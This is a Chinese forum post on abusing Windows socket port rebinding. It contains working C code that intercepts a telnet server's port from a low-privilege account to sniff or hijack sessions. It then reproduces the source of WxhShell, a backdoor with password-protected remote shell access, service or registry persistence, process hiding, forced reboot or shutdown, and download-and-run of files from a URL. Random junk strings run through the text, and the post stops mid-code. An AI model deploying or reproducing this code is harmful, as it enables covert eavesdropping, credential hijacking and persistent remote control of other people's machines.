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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3c6)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); } ~bOP^'  
w`_9*AF9  
  saddr.sin_family = AF_INET; iKKWn*u  
/ /rWc,c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Om~C0  
ikiy>W8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $KFWV2P  
uV:;y}T^Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p7tC~]r:L  
D:,<9%A  
  这意味着什么?意味着可以进行如下的攻击: j!H?dnE||  
0g)mf6}o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g?M69~G$:x  
r!uAofIi_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <K'gvMG[  
FZ/&[;E!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =w>QG{-N  
#pFybk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S5!2%-;<k  
%>z}P&Yz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gf>5xf{M  
;zG|llX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R6Lr]H  
> `M\xt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \H(,'w7H  
+[DVD  
  #include gk` .8o  
  #include s1q d/  
  #include S22; g  
  #include    *k$&Hcr$  
  DWORD WINAPI ClientThread(LPVOID lpParam);    i9"1  
  int main() \_'pUp22  
  { 9-SXu lgu  
  WORD wVersionRequested; &YMj\KmlSg  
  DWORD ret; uuB\~ #?T  
  WSADATA wsaData; eu;^h3u;b  
  BOOL val; t|lv6-Hy9  
  SOCKADDR_IN saddr; _,Y79 b6  
  SOCKADDR_IN scaddr; hT#mM*`  
  int err; H[Cn@XE  
  SOCKET s; @gz?T;EC  
  SOCKET sc; 4|thDb)]  
  int caddsize; v0sX'>f  
  HANDLE mt; "{lnSLk  
  DWORD tid;   jL$X3QS:  
  wVersionRequested = MAKEWORD( 2, 2 ); &jcr7{cD  
  err = WSAStartup( wVersionRequested, &wsaData ); x.RZ!V-  
  if ( err != 0 ) { yAe}O#dy  
  printf("error!WSAStartup failed!\n"); 'l;|t"R12  
  return -1; @pz2}Hd |  
  } &I=q%  
  saddr.sin_family = AF_INET; @ XMC$s  
   oJy/PR 3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z_)$g= 9$  
+L6$Xm5DAv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ly@CX((W  
  saddr.sin_port = htons(23); zx*f*L,6F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?1sY S  
  { [R$4n-$  
  printf("error!socket failed!\n"); fBmx +7  
  return -1; #s%$kYp 1  
  } QWEK;kUa@  
  val = TRUE; Jt"Wtr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V96BtV sB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W0k_"uI  
  { 2~ a4ib  
  printf("error!setsockopt failed!\n"); ly2R8$Y`y`  
  return -1; ,D1QJPM  
  } |HLh?AcX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C{-pVuhK+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3@PVUJ0B|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Kt(p|  
z,WrLZC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) paY%pU  
  { @z.!Dby  
  ret=GetLastError(); t{9Ph]e  
  printf("error!bind failed!\n"); .:}\Z27-c  
  return -1; !=pemLvH  
  } Zh$Z$85p  
  listen(s,2); ~7v^7;tT  
  while(1) whshjl?a  
  { 2Xosj(H  
  caddsize = sizeof(scaddr); Rk<:m+V=  
  //接受连接请求 ( _2eiE71  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l:+1j{ d7  
  if(sc!=INVALID_SOCKET) Up:#Zs2  
  { ]@EjKgs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U,N4+F}FR  
  if(mt==NULL) [}D)73h`  
  { eYFCf;  
  printf("Thread Creat Failed!\n"); &oBJY'1  
  break; r\zK>GVm_  
  } P+xZaf H  
  } & CgLF]  
  CloseHandle(mt); /e}k7U,^  
  }  2B#WWb  
  closesocket(s); Q5ux**(Wr  
  WSACleanup(); (@ Bw@9  
  return 0; 9Bn dbS i  
  }   7">.{ @S  
  DWORD WINAPI ClientThread(LPVOID lpParam) x =k$^V~  
  { Dqki}k~{  
  SOCKET ss = (SOCKET)lpParam; QnqX/vnR  
  SOCKET sc; ,=FYf|Z  
  unsigned char buf[4096]; %2.T1X%!  
  SOCKADDR_IN saddr; Y*6*;0Kx  
  long num; *T3"U|0_y  
  DWORD val; {221@ zcCq  
  DWORD ret; ^,3 >}PU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f' eKX7R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Oe?nX>  
  saddr.sin_family = AF_INET;  Cfi5r|S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u[% #/  
  saddr.sin_port = htons(23); j2z$kw%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wBf bpoE7  
  { -M4#dHR_!  
  printf("error!socket failed!\n"); E ?-K_p  
  return -1; :?,& u,8  
  } A /MOY@%G  
  val = 100; tU(6%zvR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @U}UCG7+  
  { ny}?+&K  
  ret = GetLastError(); \l`;]cA  
  return -1; +CACs7tV  
  } )S]c'}^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XH/|jE.9^|  
  { tC;D4i  
  ret = GetLastError(); |D\ ukml  
  return -1; ,?}TSJKC  
  } :c\NBKHv*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ',.Xn`c  
  { `bi5#xR  
  printf("error!socket connect failed!\n"); /w|YNDA]j  
  closesocket(sc); @{bf]Oc  
  closesocket(ss); N7[~Y2i  
  return -1; &CS=*)>$  
  } up`6IWlLE  
  while(1) *Hs5MXNu  
  { Lczcz"t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :r\<DVj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Tb}b*d3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ALG +  
  num = recv(ss,buf,4096,0); }"szL=s  
  if(num>0) ,HkJ.6KF  
  send(sc,buf,num,0); |i|O9^*%  
  else if(num==0) $wBUu   
  break; ;gF"o5/Q  
  num = recv(sc,buf,4096,0); n4ISHxM  
  if(num>0) m~}nM|m%  
  send(ss,buf,num,0); }5A?WH_  
  else if(num==0) yVW)DQ 4?  
  break; y==x  
  } >yaRz+  
  closesocket(ss); jWm<!< ~  
  closesocket(sc);  ;HW@ZI  
  return 0 ; A;% fAI2Vr  
  } 'RPe5 vB  
my Po&"_ x  
uQ{M<%K  
========================================================== J^u{7K,  
H.YntFtD'  
下边附上一个代码,,WXhSHELL [[Z*n/tr  
$+Xohtt  
========================================================== 9Gy1T3y5"  
7,:QFV  
#include "stdafx.h" a^,Xm(Wb}  
7{p,<Uz<"U  
#include <stdio.h> + 5 05  
#include <string.h> G-Y8<mEh  
#include <windows.h> Baq&>]  
#include <winsock2.h> s01n[jQ  
#include <winsvc.h> x]F:~(P  
#include <urlmon.h> M]oaWQu  
wE'~Qj  
#pragma comment (lib, "Ws2_32.lib") EayZ*e ]  
#pragma comment (lib, "urlmon.lib") .(! $j-B  
rUlXx5f  
#define MAX_USER   100 // 最大客户端连接数 ?8`b  
#define BUF_SOCK   200 // sock buffer tFG&~tNc  
#define KEY_BUFF   255 // 输入 buffer >1W)J3  
-(Yq$5Zc&  
#define REBOOT     0   // 重启 aC;OFINK  
#define SHUTDOWN   1   // 关机 y3d`$'7H>  
t1D6#JP(a  
#define DEF_PORT   5000 // 监听端口 @xmL?wz  
Qv#]T,  
#define REG_LEN     16   // 注册表键长度 BYRf MtT@+  
#define SVC_LEN     80   // NT服务名长度 L9@nx7D  
B lD  
// 从dll定义API ?xIwQd0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aCQAh[T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "I u3&mc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V4_ZBeWA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &kh-2#E  
<"6 }C)G  
// wxhshell配置信息 caS5>wk`R  
struct WSCFG { p?ICZg:  
  int ws_port;         // 监听端口 xse8fGs  
  char ws_passstr[REG_LEN]; // 口令 8^kw  
  int ws_autoins;       // 安装标记, 1=yes 0=no wD4Kil=v  
  char ws_regname[REG_LEN]; // 注册表键名 kid@*.I  
  char ws_svcname[REG_LEN]; // 服务名 iXI > >9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a:C ly9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _pL:dKfy7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t}+P|$[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?3[as<GZ8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H}`}qu #~V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bIR7g(PJ.b  
Rkgpa/te"  
}; rQCj^=cf;~  
Ean #>h  
// default Wxhshell configuration Dz8)u:vRS  
struct WSCFG wscfg={DEF_PORT, ',~,hJ0  
    "xuhuanlingzhe", I~|.Re9a  
    1, y$'(/iyz  
    "Wxhshell", ApR>b%  
    "Wxhshell", *{ 6{ZKM  
            "WxhShell Service", xO{yr[x"L  
    "Wrsky Windows CmdShell Service", 5*C#~gd& F  
    "Please Input Your Password: ", it \3-  
  1, oUoDj'JN{  
  "http://www.wrsky.com/wxhshell.exe", yHe%e1  
  "Wxhshell.exe" HZKqGkE  
    }; :A"GO c,  
4;=+qb  
// 消息定义模块 ]sB-}n)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *6<<6f`(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Tjc\;~%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _ ZMoPEW  
char *msg_ws_ext="\n\rExit."; Q3T@=z2j%  
char *msg_ws_end="\n\rQuit."; g{RVxGE7  
char *msg_ws_boot="\n\rReboot..."; VBo=*gn,$  
char *msg_ws_poff="\n\rShutdown..."; C8ek{o)%W  
char *msg_ws_down="\n\rSave to "; {%gMA?b|"  
zb.dVK`7N-  
char *msg_ws_err="\n\rErr!"; @p"m{  
char *msg_ws_ok="\n\rOK!"; ]2Zl\}GwY  
s,Azcqem  
char ExeFile[MAX_PATH]; o!bV;]  
int nUser = 0; j"1#n? 0  
HANDLE handles[MAX_USER]; NSI$uS6  
int OsIsNt; H[S[ y  
U4M}E h8  
SERVICE_STATUS       serviceStatus; ir !/{IQx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p?PK8GL  
vnc- W3N  
// 函数声明 it77x3Mm F  
int Install(void); c&X2k\  
int Uninstall(void); mQUI9  
int DownloadFile(char *sURL, SOCKET wsh); 2!QQypQ  
int Boot(int flag); /-s-W<S[  
void HideProc(void); Lh\ 1L  
int GetOsVer(void); m9M#)<@*  
int Wxhshell(SOCKET wsl); P:KS*lOp  
void TalkWithClient(void *cs); d;@"Naw  
int CmdShell(SOCKET sock); ~HBQQt  
int StartFromService(void); t\S=u y  
int StartWxhshell(LPSTR lpCmdLine); =Z}$X: $  
gjFpM.D-.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0i[v,eS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y!eT>4Oyg  
;8m)a  
// 数据结构和表定义 "lLwgh;  
SERVICE_TABLE_ENTRY DispatchTable[] = H< 51dJn~  
{ ^pwT8Bp  
{wscfg.ws_svcname, NTServiceMain}, 2fN2!OT  
{NULL, NULL} P8[rp   
}; Sq:,6bcG  
*be"$ Q  
// 自我安装 O pavno%&  
int Install(void) ? `hA:X<  
{ M47t(9krV  
  char svExeFile[MAX_PATH]; Zo`_vx/{j  
  HKEY key; ]sLdz^E3D  
  strcpy(svExeFile,ExeFile); [8jIu&tJf  
AdD,94/  
// 如果是win9x系统,修改注册表设为自启动 J~}sQ{ 0  
if(!OsIsNt) { ANWfRtiU#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z>]P_E~`}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nEHmiG  
  RegCloseKey(key); y~Z7sx0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ghU~H4[xD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y7^E`LKK  
  RegCloseKey(key); {f"oqry_g  
  return 0; ~)CGwST[  
    } qf T71o(  
  } WF] |-)vw  
} ghGpi U$  
else { g~p43sVV  
BD ,J4xH;  
// 如果是NT以上系统,安装为系统服务 g>E.Snj}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k@Qd:I;;  
if (schSCManager!=0) &ea6YQ  
{ Dr K@y8  
  SC_HANDLE schService = CreateService ;"B@QPX  
  ( []:&WA 9N  
  schSCManager, (h"-#q8$  
  wscfg.ws_svcname, LIE5of  
  wscfg.ws_svcdisp, d0V*[{  
  SERVICE_ALL_ACCESS, 7y4jk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \&/V p`  
  SERVICE_AUTO_START, l=UXikx  
  SERVICE_ERROR_NORMAL, :lW8f~!  
  svExeFile, Zz?)k])F  
  NULL, CT?4A1[aD  
  NULL, = IJ}b=:  
  NULL, r17"i.n  
  NULL, w"{mDL}c  
  NULL AZ>F+@d  
  ); HSR,moI  
  if (schService!=0) \AeM=K6q+D  
  { NK\0X5##.  
  CloseServiceHandle(schService); i&^]qL|J  
  CloseServiceHandle(schSCManager); X'{ o/U.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fG zx;<0P!  
  strcat(svExeFile,wscfg.ws_svcname); "^Vnnb:Z*o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &6e A.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .;F%k,!v  
  RegCloseKey(key); m$bYx~K  
  return 0; t|P+^SL  
    } 6L"b O'_5K  
  } _1G;!eO  
  CloseServiceHandle(schSCManager); G5hf m-  
} f cnv[B..{  
} m yy*rt  
< &kl:|  
return 1; ?{L5=X@$$  
} +2+|zXmT  
oT0:Ny  
// 自我卸载 "m > BE  
int Uninstall(void) 4Ss*h,Y  
{ Qe =8x7oIP  
  HKEY key; kho$At)V  
;b}cn!U]  
if(!OsIsNt) { (3WK2IM^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !i_~<6Wa7  
  RegDeleteValue(key,wscfg.ws_regname);  {b|V;/  
  RegCloseKey(key); Q[c:A@oW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { []doLt;J  
  RegDeleteValue(key,wscfg.ws_regname); s.^+y7$  
  RegCloseKey(key); Th X6e  
  return 0; cJ\ 1ndBH  
  } vRb7=fXf  
} T_[5 ZYy  
} RR2M+vQ  
else { JmC2buO  
i0u`J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rgo!t028^  
if (schSCManager!=0) 5/R ~<z  
{ z))rk vL%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c*r@QmB:  
  if (schService!=0) 9a#Y D;-p  
  { LJA uTg  
  if(DeleteService(schService)!=0) { 1 F&}e&}c  
  CloseServiceHandle(schService); H2'djZ  
  CloseServiceHandle(schSCManager); ~l('ly  
  return 0; ~7gFddi=i  
  } X4L@|"ZI  
  CloseServiceHandle(schService); \0K&2'  
  } M< H+$}[  
  CloseServiceHandle(schSCManager); tr58J% Mu  
} m=TZfa^r  
} F$ckW'V  
NtmmPJ|5  
return 1; qOAP_\@T  
} =QIu3%&  
*x_e] /}  
// 从指定url下载文件 )X3 |[4R  
int DownloadFile(char *sURL, SOCKET wsh) n\< uT1n  
{ dXPTW;w  
  HRESULT hr; e5D\m g)  
char seps[]= "/"; Wngc(+6O&  
char *token; )Fw#]~Z  
char *file; y Ni3@f  
char myURL[MAX_PATH]; hY/qMK5  
char myFILE[MAX_PATH]; Kpkpr`:)]  
9VMk?   
strcpy(myURL,sURL); &;R BG$t  
  token=strtok(myURL,seps); pd|l&xvka  
  while(token!=NULL) - _~\d+>w  
  {  /i   
    file=token; kkJ8xyO  
  token=strtok(NULL,seps); PzT@q\O  
  } --k!KrL  
:Dfl,=S  
GetCurrentDirectory(MAX_PATH,myFILE); i*8j|  
strcat(myFILE, "\\"); l3+G]C&<  
strcat(myFILE, file); 3sgo5D-rMI  
  send(wsh,myFILE,strlen(myFILE),0); \TLfLqA  
send(wsh,"...",3,0); t>Yl= 79,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ix38|G9U  
  if(hr==S_OK) qeC^e}h  
return 0; oN)I3wO$  
else 3[@:I^q  
return 1; 2Sk hBb=d  
|"[;0)dw^  
} VtMnLF Mw  
$ nMx#~>a  
// 系统电源模块 7q:;3;"9  
int Boot(int flag) >}/T&S  
{ ?BbEQr  
  HANDLE hToken; 3m~,6mQ  
  TOKEN_PRIVILEGES tkp; Q[FDk63;w  
wc#k@"2AZb  
  if(OsIsNt) { r*ziO#[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [ {HTGz@(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gB>AYL%o=  
    tkp.PrivilegeCount = 1; iVo-z#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eep/96G ?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %TO&  
if(flag==REBOOT) { VF+g+~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UGvUU<N|N  
  return 0; ;&!Q N#_  
} -0I&dG-  
else { b!`6s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YDZB$?&a  
  return 0; Js.G hTs  
} +HjSU2  
  } /`t}5U>S_  
  else { 0X$2~jV>  
if(flag==REBOOT) { a/3yn9`sQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "yl6WG# J  
  return 0; >jnx2$  
} :;IZ|hU  
else { lanU)+U.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6G(K8Q{>  
  return 0; .yHK  
} FbH@qHSH  
} [q/eRIS_  
f(\S +4  
return 1; C+_UI x]A  
} ?0-3J )kW  
`=Rxnl,<U  
// win9x进程隐藏模块 79D;0  
void HideProc(void) Rl_1g`84  
{ j3S!uA?  
?T,a(m<i {  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,s 6lB0  
  if ( hKernel != NULL ) B,` `2\B  
  { N7GZ'-t^Er  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hd TB[(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W"\+jHF"  
    FreeLibrary(hKernel); of >  
  } =L;g:hc<  
7mn&w$MS4:  
return; sQ&<cBs2  
} C0khG9,BL  
4^9qs%&  
// 获取操作系统版本 >wR)p\UEb  
int GetOsVer(void) s7\Ee-x)s  
{ uz:r'+v  
  OSVERSIONINFO winfo; x7i,jMR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :.f( }sCS  
  GetVersionEx(&winfo); nITkgN:s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |x=(}g  
  return 1; ,#9i=gp  
  else +i}uRO  
  return 0; MlLM $Y-@  
} ,Ww.W'#P  
bIzBY+P  
// 客户端句柄模块 &'/bnN +R  
int Wxhshell(SOCKET wsl) 1uEM;O  
{ QtcYFf g  
  SOCKET wsh; (Zej\lEN  
  struct sockaddr_in client; F^lau f  
  DWORD myID; {IF$\{Al  
QHsJo|.  
  while(nUser<MAX_USER) #miG"2ea..  
{ <p?oFD_e4  
  int nSize=sizeof(client); 8|u8J0^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jN(c`Gb  
  if(wsh==INVALID_SOCKET) return 1; Tt_QAIl  
,>nf/c0.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !<F5W <V  
if(handles[nUser]==0) Gs4t6+Al  
  closesocket(wsh); i&<@}:,  
else ] pv!Ll  
  nUser++; ]4'V59\  
  } q4vHsy36  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i-4?]h k  
CUft  
  return 0; %6&c3,?U\n  
} &KV$x3  
L"uidd0(g  
// 关闭 socket e5w0}/yW/  
void CloseIt(SOCKET wsh) [Kb)Q{=)  
{ %/}d'WJR  
closesocket(wsh); q6o}2<T@  
nUser--; p77=~s  
ExitThread(0); <W^>:!?w  
} 2ppJ;P{k  
er@.<Dc  
// 客户端请求句柄 c'Q.2^w^  
void TalkWithClient(void *cs) $J]NWgXl@  
{ 1C/Vwf:@  
hD,xJ]zv1  
  SOCKET wsh=(SOCKET)cs; :>jzL8  
  char pwd[SVC_LEN]; ;0Ih:YY6  
  char cmd[KEY_BUFF]; Shss};QZf(  
char chr[1]; ?}S~cgL -  
int i,j; ZfS"  
`2j"Z.=  
  while (nUser < MAX_USER) { 3qDuF  
D}2$n?~+  
if(wscfg.ws_passstr) { <AHdz/N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v5FfxDvw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \.F|c  
  //ZeroMemory(pwd,KEY_BUFF); ;Wn0-`_1,  
      i=0; y+7A?"s)  
  while(i<SVC_LEN) { >QBDxm  
Zlv`yC*r  
  // 设置超时 yoTx3U@  
  fd_set FdRead; )X6I #q8  
  struct timeval TimeOut; BtQqUk#L2  
  FD_ZERO(&FdRead); L f;Uv[^c  
  FD_SET(wsh,&FdRead); |9)y<}c5oM  
  TimeOut.tv_sec=8; _1jeaV9@  
  TimeOut.tv_usec=0; K~qKr<)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C2L=i3R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JycC\s+%E  
DRRy5+,I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D&6.> wt .  
  pwd=chr[0]; Zj)A%WTD,  
  if(chr[0]==0xd || chr[0]==0xa) { Xx^v%[!`+  
  pwd=0; Gd|jE  
  break; ZCDXy  
  } cejD(!MKe  
  i++; "Fxw"I <  
    } xfqU atC  
zB6&),[,v  
  // 如果是非法用户,关闭 socket 9"dZ4{\!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); //#]CsFiP  
} !!])~+4pP  
d81[hT}q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h|EHK!<"8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x`K"1E{2  
'~xjaa;.  
while(1) { u}jC$T>2%6  
|+1k7S  ,  
  ZeroMemory(cmd,KEY_BUFF); :|=Xh"l"  
CSr2\ogT  
      // 自动支持客户端 telnet标准   y*lAmO  
  j=0; raZ0B,;eFu  
  while(j<KEY_BUFF) { )+a]M1j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }5u;'>$  
  cmd[j]=chr[0]; TEbE-h0)]  
  if(chr[0]==0xa || chr[0]==0xd) { hNF,sA  
  cmd[j]=0; sv#/78~|  
  break; v2 >Dn=V  
  } gv,%5r0YOw  
  j++; ?1H>k<Jp  
    } jG,^~ 5x  
K` <`l  
  // 下载文件 -B:O0;f  
  if(strstr(cmd,"http://")) { p8z"Jn2P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ho6,&Bp8  
  if(DownloadFile(cmd,wsh)) k-$J #  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'uLYah  
  else px^brzLQo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oN(F$Nvk  
  } ;!<@Fm9W  
  else { A$]#f  
Hnbd<?y   
    switch(cmd[0]) { B(pHo&ox  
  U> {CG+X  
  // 帮助 31mlnDif  
  case '?': { r m dG"s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <-!' V,c  
    break; )umW-A  
  } h6e,w$IL  
  // 安装 -raZ6?Zjc  
  case 'i': { 5:l"*  
    if(Install()) dg;E,'e_ p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P~@I`r567  
    else 'WoB\y569  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1"g62R  
    break; \6,Z<.I  
    } ypY7uYO^"  
  // 卸载 %? z;'Y7D  
  case 'r': { L$}'6y/@  
    if(Uninstall()) oRl@AhS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Hst-H.l<l  
    else cqb]LC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z9^_5la#  
    break; 2Zi&=Zj"  
    } [Mlmn$it  
  // 显示 wxhshell 所在路径 uF]+i^+  
  case 'p': { +9_E+H'?!  
    char svExeFile[MAX_PATH]; }-paGM@'Nd  
    strcpy(svExeFile,"\n\r"); fq0[7Yb  
      strcat(svExeFile,ExeFile); \V9);KAOj  
        send(wsh,svExeFile,strlen(svExeFile),0); -257g;  
    break; 3$kElq[  
    } bt?)ryu  
  // 重启 "C9.pdP\8  
  case 'b': { "'6R|<u=:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2$oGy  
    if(Boot(REBOOT)) CIf""gL9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xd 9<`gu  
    else { #pX+~ {  
    closesocket(wsh); 'Ie!%k^  
    ExitThread(0); - o sxKT:  
    } .t{?doOT  
    break; .n)0@X!  
    } %gXNWxv  
  // 关机 B4;P)\ 2  
  case 'd': { 5>M@ F0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < nyk:E  
